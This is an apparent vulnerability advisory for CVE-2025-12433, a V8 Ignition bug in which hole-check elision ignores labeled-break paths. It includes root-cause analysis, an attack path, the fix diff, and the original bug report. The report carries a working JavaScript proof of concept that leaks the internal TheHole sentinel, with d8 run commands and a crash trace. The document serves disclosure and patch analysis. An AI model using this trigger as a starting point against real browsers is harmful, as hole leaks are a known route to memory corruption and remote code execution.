CVE-2025-12433
Overview
Background
- Temporal Dead Zone (TDZ) hole check
- A
let/constbinding holds the internalTheHolesentinel until its declaration runs, and V8’s bytecode generator emits aThrowReferenceErrorIfHolecheck before any read so that early access throws aReferenceErrorinstead of exposing the sentinel. - Hole-check elision bitmap
BytecodeGenerator::hole_check_bitmap_(aVariable::HoleCheckBitmap) records which numbered variables have already been hole-checked on the current path, so redundantThrowReferenceErrorIfHoleemissions can be skipped.- Merge scope
HoleCheckElisionMergeScopemodels branch-and-merge control flow (if/else, ternary, switch): eachBranchaccumulates its checks and the finalMerge()keeps a variable marked “checked” only if it was checked on every branch (a bitwise AND of all branch bitmaps).- Labeled `break` escape path
- A
break/break labeljumps out of a breakable construct from an arbitrary interior point, forming an additional exit path whose set of already-emitted hole checks can differ from the normal fall-through path.
Root Cause Analysis
The elision analysis treated the exit of a breakable block and the exit of a switch as if the only paths reaching the merge point were the normal fall-through / case-body paths; the break escape paths were never folded into the merge. In VisitBlockDeclarationsAndStatements, a breakable labeled block used a plain HoleCheckElisionScope (which only saves and restores the bitmap) rather than a merge scope, and the switch visitor built its own local HoleCheckElisionMergeScope that merged only the case clauses. Because TheHole check elision is sound only when a variable is provably hole-checked on all paths reaching a program point, omitting the break paths let the merge conclude a variable was checked even though a break could reach the post-construct code having skipped that check.
The fix gives ControlScopeForBreakable its own HoleCheckElisionMergeScope and calls the new MergeBranch at every CMD_BREAK, so each break’s current bitmap is AND-merged into the result; a hole check is now elided after the construct only if it was performed on the fall-through path and on every break path, restoring the all-paths invariant.
break/labeled-break exits from the hole-check merge, so an elision could be justified by paths the break actually bypasses; the fix routes every break through MergeBranch into the construct’s merge scope so an elided check must hold on all exits, break paths included.Attack Path
- Construct a TDZ variable with an uneven break path
Declare a
let xin a block and arrange aswitch(or breakable labeled block) where every case/fall-through path assigns or readsx(satisfying the merge), while abreak labelexits early beforexis touched, as in the shippedtest/message/fail/switch-labels.js. - Trigger the faulty merge
The old
switchmerge seesxchecked on all case branches plus adefault, soMergeIf(info.DefaultExists())marksxas no-longer-needing a hole check after the switch, without accounting for thebreak targetpath. - Reach the elided read with the sentinel live
Taking the early
breakjumps past the assignment, so execution reaches the post-construct read (print(x)) whilexstill holdsTheHole, and the hole check there has been elided. - Observe `TheHole` in script
The read returns the internal
TheHolesentinel to JavaScript instead of throwingReferenceError: Cannot access 'x' before initialization, which is the exact behavior the fix’s.outrestores. - Escalation (inferred)
Surfacing the internal
TheHoleoddball into observable JS is a known precursor to type confusion; the patch itself only demonstrates the missing TDZ check, so any corruption or further primitive beyond observing the sentinel is not established by this diff.
Impact Assessment
let/const read to return the internal TheHole sentinel instead of throwing the mandated ReferenceError, by shaping a break/labeled-break path around a switch or breakable block. The advisory classifies this as “Inappropriate implementation in V8,” severity high, with no in-the-wild exploitation stated; leaking TheHole to JavaScript is a recognized stepping stone toward type confusion, but the patch only demonstrates the elided TDZ check and the observable sentinel, so memory corruption or RCE is (inferred) and not proven by the diff. Preconditions are limited to executing attacker-controlled JavaScript; no special flags or privileges are required.Changed Functions
| Function | Change | Notes |
|---|---|---|
V8_NODISCARDsrc/interpreter/bytecode-generator.cc |
modified | |
merge_into_bitmap_src/interpreter/bytecode-generator.cc |
modified | |
BytecodeGeneratorsrc/interpreter/bytecode-generator.cc |
modified | |
control_builder_src/interpreter/bytecode-generator.cc |
modified | |
merge_elider_src/interpreter/bytecode-generator.cc |
modified | |
switchsrc/interpreter/bytecode-generator.cc |
modified | |
switchtest/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden |
modified |
Files Changed
src/interpreter/bytecode-generator.cctest/message/fail/switch-labels.jstest/message/fail/switch-labels.outtest/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden
Audit Directions
- Unmerged early-exit pathsAudit every
ControlScope/ControlScopeForBreakablecommand (CMD_CONTINUE,CMD_RETURN, labeled continue, exception/tryfallout) to confirm each non-fall-through exit that reaches a merge point also contributes to the hole-check merge, not justCMD_BREAK. - Elision soundness as an all-paths propertyAnywhere a bitmap or flag is used to skip a safety check (TDZ, map/shape checks, bounds), verify the “already done” state is the intersection over all paths reaching the point, especially across constructs that can be exited mid-body.
- `TheHole`/internal-sentinel leakageSearch for paths where an elided or reordered check can let
TheHole(or other never-observable oddballs) reach user-visible reads; treat any observable sentinel as a type-confusion precursor and trace downstream use.
Patch
diff --git a/src/interpreter/bytecode-generator.cc b/src/interpreter/bytecode-generator.cc
index 688befd..37faf63 100644
--- a/src/interpreter/bytecode-generator.cc
+++ b/src/interpreter/bytecode-generator.cc
@@ -440,6 +440,106 @@
}
};
+// Scoped class to help elide hole checks within a conditionally executed basic
+// block. Each conditionally executed basic block must have a scope to emit
+// hole checks correctly.
+//
+// The duration of the scope must correspond to a basic block. Numbered
+// Variables (see Variable::HoleCheckBitmap) are remembered in the bitmap when
+// the first hole check is emitted. Subsequent hole checks are elided.
+//
+// On scope exit, the hole check state at construction time is restored.
+class V8_NODISCARD BytecodeGenerator::HoleCheckElisionScope {
+ public:
+ explicit HoleCheckElisionScope(BytecodeGenerator* bytecode_generator)
+ : HoleCheckElisionScope(&bytecode_generator->hole_check_bitmap_) {}
+
+ ~HoleCheckElisionScope() { *bitmap_ = prev_bitmap_value_; }
+
+ protected:
+ explicit HoleCheckElisionScope(Variable::HoleCheckBitmap* bitmap)
+ : bitmap_(bitmap), prev_bitmap_value_(*bitmap) {}
+
+ Variable::HoleCheckBitmap* bitmap_;
+ Variable::HoleCheckBitmap prev_bitmap_value_;
+};
+
+// Scoped class to help elide hole checks within control flow that branch and
+// merge.
+//
+// Each such control flow construct (e.g., if-else, ternary expressions) must
+// have a scope to emit hole checks correctly. Additionally, each branch must
+// have a Branch.
+//
+// The Merge or MergeIf method must be called to merge variables that have been
+// hole-checked along every branch are marked as no longer needing a hole check.
+//
+// Example:
+//
+// HoleCheckElisionMergeScope merge_elider(this);
+// {
+// HoleCheckElisionMergeScope::Branch branch_elider(merge_elider);
+// Visit(then_branch);
+// }
+// {
+// HoleCheckElisionMergeScope::Branch branch_elider(merge_elider);
+// Visit(else_branch);
+// }
+// merge_elider.Merge();
+//
+// Conversely, it is incorrect to use this class for control flow constructs
+// that do not merge (e.g., if without else). HoleCheckElisionScope should be
+// used for those cases.
+class V8_NODISCARD BytecodeGenerator::HoleCheckElisionMergeScope final {
+ public:
+ explicit HoleCheckElisionMergeScope(BytecodeGenerator* bytecode_generator)
+ : bitmap_(&bytecode_generator->hole_check_bitmap_) {}
+
+ ~HoleCheckElisionMergeScope() {
+ // Did you forget to call Merge or MergeIf?
+ DCHECK(merge_called_);
+ }
+
+ void MergeBranch(BytecodeGenerator* generator) {
+ merge_value_ &= generator->hole_check_bitmap_;
+ }
+
+ void Merge() {
+ DCHECK_NE(UINT64_MAX, merge_value_);
+ *bitmap_ = merge_value_;
+#ifdef DEBUG
+ merge_called_ = true;
+#endif
+ }
+
+ void MergeIf(bool cond) {
+ if (cond) Merge();
+#ifdef DEBUG
+ merge_called_ = true;
+#endif
+ }
+
+ class V8_NODISCARD Branch final : public HoleCheckElisionScope {
+ public:
+ explicit Branch(HoleCheckElisionMergeScope& merge_into)
+ : HoleCheckElisionScope(merge_into.bitmap_),
+ merge_into_bitmap_(&merge_into.merge_value_) {}
+
+ ~Branch() { *merge_into_bitmap_ &= *bitmap_; }
+
+ private:
+ Variable::HoleCheckBitmap* merge_into_bitmap_;
+ };
+
+ private:
+ Variable::HoleCheckBitmap* bitmap_;
+ Variable::HoleCheckBitmap merge_value_ = UINT64_MAX;
+
+#ifdef DEBUG
+ bool merge_called_ = false;
+#endif
+};
+
// Scoped class for enabling break inside blocks and switch blocks.
class BytecodeGenerator::ControlScopeForBreakable final
: public BytecodeGenerator::ControlScope {
@@ -449,7 +549,10 @@
BreakableControlFlowBuilder* control_builder)
: ControlScope(generator),
statement_(statement),
- control_builder_(control_builder) {}
+ control_builder_(control_builder),
+ merge_elider_(generator) {}
+
+ HoleCheckElisionMergeScope& merge_elider() { return merge_elider_; }
protected:
bool Execute(Command command, Statement* statement,
@@ -457,6 +560,7 @@
if (statement != statement_) return false;
switch (command) {
case CMD_BREAK:
+ merge_elider_.MergeBranch(generator());
PopContextToExpectedDepth();
control_builder_->Break();
return true;
@@ -472,6 +576,7 @@
private:
Statement* statement_;
BreakableControlFlowBuilder* control_builder_;
+ HoleCheckElisionMergeScope merge_elider_;
};
// Scoped class for enabling 'break' and 'continue' in iteration
@@ -1110,102 +1215,6 @@
ZoneMap<Key, int> map_;
};
-// Scoped class to help elide hole checks within a conditionally executed basic
-// block. Each conditionally executed basic block must have a scope to emit
-// hole checks correctly.
-//
-// The duration of the scope must correspond to a basic block. Numbered
-// Variables (see Variable::HoleCheckBitmap) are remembered in the bitmap when
-// the first hole check is emitted. Subsequent hole checks are elided.
-//
-// On scope exit, the hole check state at construction time is restored.
-class V8_NODISCARD BytecodeGenerator::HoleCheckElisionScope {
- public:
- explicit HoleCheckElisionScope(BytecodeGenerator* bytecode_generator)
- : HoleCheckElisionScope(&bytecode_generator->hole_check_bitmap_) {}
-
- ~HoleCheckElisionScope() { *bitmap_ = prev_bitmap_value_; }
-
- protected:
- explicit HoleCheckElisionScope(Variable::HoleCheckBitmap* bitmap)
- : bitmap_(bitmap), prev_bitmap_value_(*bitmap) {}
-
- Variable::HoleCheckBitmap* bitmap_;
- Variable::HoleCheckBitmap prev_bitmap_value_;
-};
-
-// Scoped class to help elide hole checks within control flow that branch and
-// merge.
-//
-// Each such control flow construct (e.g., if-else, ternary expressions) must
-// have a scope to emit hole checks correctly. Additionally, each branch must
-// have a Branch.
-//
-// The Merge or MergeIf method must be called to merge variables that have been
-// hole-checked along every branch are marked as no longer needing a hole check.
-//
-// Example:
-//
-// HoleCheckElisionMergeScope merge_elider(this);
-// {
-// HoleCheckElisionMergeScope::Branch branch_elider(merge_elider);
-// Visit(then_branch);
-// }
-// {
-// HoleCheckElisionMergeScope::Branch branch_elider(merge_elider);
-// Visit(else_branch);
-// }
-// merge_elider.Merge();
-//
-// Conversely, it is incorrect to use this class for control flow constructs
-// that do not merge (e.g., if without else). HoleCheckElisionScope should be
-// used for those cases.
-class V8_NODISCARD BytecodeGenerator::HoleCheckElisionMergeScope final {
- public:
- explicit HoleCheckElisionMergeScope(BytecodeGenerator* bytecode_generator)
- : bitmap_(&bytecode_generator->hole_check_bitmap_) {}
-
- ~HoleCheckElisionMergeScope() {
- // Did you forget to call Merge or MergeIf?
- DCHECK(merge_called_);
- }
-
- void Merge() {
- DCHECK_NE(UINT64_MAX, merge_value_);
- *bitmap_ = merge_value_;
-#ifdef DEBUG
- merge_called_ = true;
-#endif
- }
-
- void MergeIf(bool cond) {
- if (cond) Merge();
-#ifdef DEBUG
- merge_called_ = true;
-#endif
- }
-
- class V8_NODISCARD Branch final : public HoleCheckElisionScope {
- public:
- explicit Branch(HoleCheckElisionMergeScope& merge_into)
- : HoleCheckElisionScope(merge_into.bitmap_),
- merge_into_bitmap_(&merge_into.merge_value_) {}
-
- ~Branch() { *merge_into_bitmap_ &= *bitmap_; }
-
- private:
- Variable::HoleCheckBitmap* merge_into_bitmap_;
- };
-
- private:
- Variable::HoleCheckBitmap* bitmap_;
- Variable::HoleCheckBitmap merge_value_ = UINT64_MAX;
-
-#ifdef DEBUG
- bool merge_called_ = false;
-#endif
-};
-
class BytecodeGenerator::IteratorRecord final {
public:
IteratorRecord(Register object_register, Register next_register,
@@ -2092,22 +2101,18 @@
void BytecodeGenerator::VisitBlockDeclarationsAndStatements(Block* stmt) {
BlockBuilder block_builder(builder(), block_coverage_builder_, stmt);
- ControlScopeForBreakable execution_control(this, stmt, &block_builder);
+
if (stmt->scope() != nullptr) {
VisitDeclarations(stmt->scope()->declarations());
}
- if (V8_UNLIKELY(stmt->is_breakable())) {
- // Loathsome labeled blocks can be the target of break statements, which
- // causes unconditional blocks to act conditionally, and therefore to
- // require their own elision scope.
- //
- // lbl: {
- // if (cond) break lbl;
- // x;
- // }
- // x; <-- Cannot elide TDZ check
- HoleCheckElisionScope elider(this);
- VisitStatements(stmt->statements());
+ if (stmt->is_breakable()) {
+ ControlScopeForBreakable execution_control(this, stmt, &block_builder);
+ {
+ HoleCheckElisionMergeScope::Branch branch_elider(
+ execution_control.merge_elider());
+ VisitStatements(stmt->statements());
+ }
+ execution_control.merge_elider().Merge();
} else {
VisitStatements(stmt->statements());
}
@@ -2870,10 +2875,6 @@
switch_builder.Break();
}
- // It is only correct to merge hole check states if there is a default clause,
- // as otherwise it's unknown if the switch is exhaustive.
- HoleCheckElisionMergeScope merge_elider(this);
-
case_compare_ctr = 0;
for (int i = 0; i < clauses->length(); ++i) {
CaseClause* clause = clauses->at(i);
@@ -2897,11 +2898,11 @@
switch_builder.BindDefault(clause);
}
// Regardless, generate code (in case of fall throughs).
- HoleCheckElisionMergeScope::Branch branch_elider(merge_elider);
+ HoleCheckElisionMergeScope::Branch branch_elider(scope.merge_elider());
VisitStatements(clause->statements());
}
- merge_elider.MergeIf(info.DefaultExists());
+ scope.merge_elider().MergeIf(info.DefaultExists());
}
template <typename TryBodyFunc, typename CatchBodyFunc>
diff --git a/test/message/fail/switch-labels.js b/test/message/fail/switch-labels.js
new file mode 100644
index 0000000..8f2841e
--- /dev/null
+++ b/test/message/fail/switch-labels.js
@@ -0,0 +1,21 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+function trigger(cond) {
+ {
+ target: switch(1) {
+ case 1:
+ do {
+ if (cond) break target;
+ } while((x=1) && false);
+ break;
+ default:
+ x=1;
+ }
+ // %DebugPrint(x);
+ print(x); // crash here due to seeing a hole
+ let x;
+ }
+}
+trigger(true);
diff --git a/test/message/fail/switch-labels.out b/test/message/fail/switch-labels.out
new file mode 100644
index 0000000..d9f0a9a
--- /dev/null
+++ b/test/message/fail/switch-labels.out
@@ -0,0 +1,7 @@
+*%(basename)s:17: ReferenceError: Cannot access 'x' before initialization
+ print(x); // crash here due to seeing a hole
+ ^
+ReferenceError: Cannot access 'x' before initialization
+ at trigger (*%(basename)s:17:11)
+ at *%(basename)s:21:1
+
diff --git a/test/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden b/test/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden
index 26a3cc3..d2fed93 100644
--- a/test/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden
+++ b/test/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden
@@ -801,7 +801,7 @@
{
f = function f(a) {
switch (a) {
- case x: y; break;
+ case x: if (a) break; y; break;
case 42: y; z;
default: y; w;
}
@@ -813,7 +813,7 @@
"
frame size: 1
parameter count: 2
-bytecode array length: 57
+bytecode array length: 65
bytecodes: [
/* 24 S> */ B(LdaImmutableCurrentContextSlot), U8(3),
/* 44 E> */ B(ThrowReferenceErrorIfHole), U8(0),
@@ -822,27 +822,31 @@
B(JumpIfTrue), U8(11),
B(LdaSmi), I8(42),
B(TestEqualStrict), R(0), U8(0),
- B(JumpIfTrue), U8(10),
- B(Jump), U8(16),
- /* 47 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
+ B(JumpIfTrue), U8(16),
+ B(Jump), U8(22),
+ /* 47 S> */ B(Ldar), R(arg0),
+ B(JumpIfToBooleanFalse), U8(4),
+ /* 54 S> */ B(Jump), U8(24),
+ /* 61 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
B(ThrowReferenceErrorIfHole), U8(1),
- /* 50 S> */ B(Jump), U8(18),
- /* 68 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
+ /* 64 S> */ B(Jump), U8(18),
+ /* 82 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
B(ThrowReferenceErrorIfHole), U8(1),
- /* 71 S> */ B(LdaImmutableCurrentContextSlot), U8(5),
+ /* 85 S> */ B(LdaImmutableCurrentContextSlot), U8(5),
B(ThrowReferenceErrorIfHole), U8(2),
- /* 85 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
+ /* 99 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
B(ThrowReferenceErrorIfHole), U8(1),
- /* 88 S> */ B(LdaImmutableCurrentContextSlot), U8(2),
- B(ThrowReferenceErrorIfHole), U8(3),
- /* 93 S> */ B(LdaImmutableCurrentContextSlot), U8(3),
- /* 96 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
- /* 99 S> */ B(LdaImmutableCurrentContextSlot), U8(5),
- B(ThrowReferenceErrorIfHole), U8(2),
/* 102 S> */ B(LdaImmutableCurrentContextSlot), U8(2),
B(ThrowReferenceErrorIfHole), U8(3),
+ /* 107 S> */ B(LdaImmutableCurrentContextSlot), U8(3),
+ /* 110 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
+ B(ThrowReferenceErrorIfHole), U8(1),
+ /* 113 S> */ B(LdaImmutableCurrentContextSlot), U8(5),
+ B(ThrowReferenceErrorIfHole), U8(2),
+ /* 116 S> */ B(LdaImmutableCurrentContextSlot), U8(2),
... (file diff truncated)
Regression Test / PoC
diff --git a/test/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden b/test/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden
index 26a3cc3..d2fed93 100644
--- a/test/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden
+++ b/test/unittests/interpreter/bytecode_expectations/ElideRedundantHoleChecks.golden
@@ -801,7 +801,7 @@
{
f = function f(a) {
switch (a) {
- case x: y; break;
+ case x: if (a) break; y; break;
case 42: y; z;
default: y; w;
}
@@ -813,7 +813,7 @@
"
frame size: 1
parameter count: 2
-bytecode array length: 57
+bytecode array length: 65
bytecodes: [
/* 24 S> */ B(LdaImmutableCurrentContextSlot), U8(3),
/* 44 E> */ B(ThrowReferenceErrorIfHole), U8(0),
@@ -822,27 +822,31 @@
B(JumpIfTrue), U8(11),
B(LdaSmi), I8(42),
B(TestEqualStrict), R(0), U8(0),
- B(JumpIfTrue), U8(10),
- B(Jump), U8(16),
- /* 47 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
+ B(JumpIfTrue), U8(16),
+ B(Jump), U8(22),
+ /* 47 S> */ B(Ldar), R(arg0),
+ B(JumpIfToBooleanFalse), U8(4),
+ /* 54 S> */ B(Jump), U8(24),
+ /* 61 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
B(ThrowReferenceErrorIfHole), U8(1),
- /* 50 S> */ B(Jump), U8(18),
- /* 68 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
+ /* 64 S> */ B(Jump), U8(18),
+ /* 82 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
B(ThrowReferenceErrorIfHole), U8(1),
- /* 71 S> */ B(LdaImmutableCurrentContextSlot), U8(5),
+ /* 85 S> */ B(LdaImmutableCurrentContextSlot), U8(5),
B(ThrowReferenceErrorIfHole), U8(2),
- /* 85 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
+ /* 99 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
B(ThrowReferenceErrorIfHole), U8(1),
- /* 88 S> */ B(LdaImmutableCurrentContextSlot), U8(2),
- B(ThrowReferenceErrorIfHole), U8(3),
- /* 93 S> */ B(LdaImmutableCurrentContextSlot), U8(3),
- /* 96 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
- /* 99 S> */ B(LdaImmutableCurrentContextSlot), U8(5),
- B(ThrowReferenceErrorIfHole), U8(2),
/* 102 S> */ B(LdaImmutableCurrentContextSlot), U8(2),
B(ThrowReferenceErrorIfHole), U8(3),
+ /* 107 S> */ B(LdaImmutableCurrentContextSlot), U8(3),
+ /* 110 S> */ B(LdaImmutableCurrentContextSlot), U8(4),
+ B(ThrowReferenceErrorIfHole), U8(1),
+ /* 113 S> */ B(LdaImmutableCurrentContextSlot), U8(5),
+ B(ThrowReferenceErrorIfHole), U8(2),
+ /* 116 S> */ B(LdaImmutableCurrentContextSlot), U8(2),
+ B(ThrowReferenceErrorIfHole), U8(3),
B(LdaUndefined),
- /* 107 S> */ B(Return),
+ /* 121 S> */ B(Return),
]
constant pool: [
INTERNALIZED_ONE_BYTE_STRING_TYPE ["x"],
@@ -870,7 +874,7 @@
"
frame size: 0
parameter count: 2
-bytecode array length: 24
+bytecode array length: 22
bytecodes: [
/* 33 S> */ B(LdaImmutableCurrentContextSlot), U8(2),
B(ThrowReferenceErrorIfHole), U8(0),
@@ -880,7 +884,6 @@
/* 58 S> */ B(LdaImmutableCurrentContextSlot), U8(3),
B(ThrowReferenceErrorIfHole), U8(1),
/* 63 S> */ B(LdaImmutableCurrentContextSlot), U8(2),
- B(ThrowReferenceErrorIfHole), U8(0),
/* 66 S> */ B(LdaImmutableCurrentContextSlot), U8(3),
B(ThrowReferenceErrorIfHole), U8(1),
B(LdaUndefined),
Original Bug Report
V8: Hole leak in Ignition interpreter due to invalid hole-check removal
We are tracking this issue with the public ID BIGSLEEP-449910706. Please use this identifier for reference in any future communication.
Vulnerability Details
There is a hole leak due to an invalid hole-check removal in the Ignition interpreter.
JavaScript variables declared with let (or const) cannot be used before they are initialized (in contrast to var variables which will be undefined). In V8, this is implemented by initially setting the variable’s value to the special the_hole value and adding hole checks that raise an exception if a variable is used before it is initialized. As an optimization, V8’s bytecode compiler then attempts to remove redundant hole checks by analyzing the bytecode’s structure and looking for hole checks that are dominated by previous hole checks, in which case they are redundant and can be removed.
However, for the sample below, this optimization fails and incorrectly removes a hole check. In particular, it fails to realize that the hole check in the do-while loop’s footer does not dominate the hole check after the switch statement as it can be skipped due to the labelled break operation. As such, when x is used after the switch statement, its value is still the_hole but the hole check has been eliminated, leading to the_hole being leaked into JavaScript. This can be seen in the crash log or by uncommenting the %DebugPrint.
As hole leaks have been exploitable in the past, we’re reporting this issue as a high-severity vulnerability, although recent hardening around hole leaks [1] may affect the exploitability of this bug in the future.
[1] https://crbug.com/434179415
Affected Version(s)
The issue has been successfully reproduced:
- at HEAD (commit e53002532ca9428582bf8726322d5fe191b8a094)
- in stable release 14.1.146.11 (commit ad8af0fc661d278e87627fcaa3a7cf795ee80dd8)
Reproduction
Test Case
function trigger(cond) {
{
target: switch(1) {
case 1:
do {
if (cond) break target;
} while((x=1) && false);
break;
default:
x=1;
}
// %DebugPrint(x);
print(x); // crash here due to seeing a hole
let x;
}
}
trigger(true);
Build Instructions
Follow the instructions at https://v8.dev/docs/build. The crash was verified on a debug build:
gm.py x64.debug
Command
./out/x64.debug/d8 crash.js
ASan Report
#
# Fatal error in ../../src/api/api.cc, line 831
# Debug check failed: !IsTheHole(heap_object).
#
#
#
#FailureMessage Object: 0x7b0426d6e860
==== C stack trace ===============================
./out/x64.debug/d8(___interceptor_backtrace+0x46) [0x559d6ecf7d96]
v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f042a9d689e]
v8/v8/out/x64.debug/libv8_libplatform.so(+0x7e07b) [0x7f04426f207b]
v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x2e2) [0x7f042a97c002]
v8/v8/out/x64.debug/libv8_libbase.so(+0x87727) [0x7f042a97b727]
v8/v8/out/x64.debug/libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x4d) [0x7f042a97c14d]
v8/v8/out/x64.debug/libv8.so(v8::Data::IsValue() const+0x25b) [0x7f0435bb151b]
v8/v8/out/x64.debug/libv8.so(bool v8::internal::ValidateFunctionCallbackInfo<v8::Value>(v8::FunctionCallbackInfo<v8::Value> const&)+0x295) [0x7f0435cc0115]
v8/v8/out/x64.debug/libv8.so(bool v8::internal::ValidateCallbackInfo<v8::Value>(v8::FunctionCallbackInfo<v8::Value> const&)+0x15) [0x7f0435c60805]
./out/x64.debug/d8(v8::WriteAndFlush(_IO_FILE*, v8::FunctionCallbackInfo<v8::Value> const&)+0x19) [0x559d6ee43379]
./out/x64.debug/d8(v8::Shell::Print(v8::FunctionCallbackInfo<v8::Value> const&)+0x3f) [0x559d6ee4340f]
v8/v8/out/x64.debug/libv8.so(+0xa0a0450) [0x7f0434aa0450]
Reporter Credit
Google Big Sleep
Disclosure Policy
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2026-01-05. For more information, visit https://goo.gle/bigsleep